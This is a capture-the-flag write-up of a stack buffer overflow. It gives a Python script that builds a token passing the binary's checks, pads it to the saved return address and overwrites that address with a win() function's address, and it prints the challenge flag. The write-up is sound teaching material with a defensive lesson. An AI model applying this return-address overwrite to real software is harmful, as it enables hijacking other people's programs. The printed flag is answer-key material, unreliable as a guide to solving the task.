Challenge Context#

The binary accepted a token, validated fields inside it, then read enough data into a fixed-size stack buffer to overwrite the saved return address.

Reconnaissance#

The exploit notes identified:

1
buffer size: 0x50 bytes
2
saved RBP:   8 bytes
3
offset to RIP: 88 bytes
4
win():       0x401406

The token also had structural checks:

1
[0-3]   uint32 magic = 0xdeadc0de
2
[4]     byte = 0x41
3
[7-10]  uint32 xor = 0xdeadc0de ^ 0x41
4
[11-22] "moul_cyber\x00\x00"
5
[23-26] current timestamp

Vulnerability / Core Idea#

The program combined input validation with an unsafe stack copy. A valid token got past the checks, but the same input could continue past the buffer and control RIP.

Exploitation#

The payload layout:

1
valid token fields
2
padding up to 88 bytes
3
win() address as little-endian QWORD

1
import struct, time
2

3
WIN = 0x401406
4
OFFSET = 88
5
payload  = struct.pack('<I', 0xdeadc0de)
6
payload += b'\x41'
7
payload += b'\x00\x00'
8
payload += struct.pack('<I', 0xdeadc0de ^ 0x41)
9
payload += b'moul_cyber\x00\x00'
10
payload += struct.pack('<I', int(time.time()))
11
payload += b'\x00\x00\x00'
12
payload += b'B' * (OFFSET - len(payload))
13
payload += struct.pack('<Q', WIN)

The delegate notes also mention a stack-alignment variant that jumps to win+1 (0x401407) to skip push rbp if needed.

Flag#

1
leet{6H4_8CHW1Y4_311K_M41K_Z3r84N}

Lesson Learned#

Passing validation is not enough to make input safe. If the copy into the destination buffer is still unbounded, the validated token becomes the prefix of an exploit payload.

Cover: Wallhaven 5y7e99.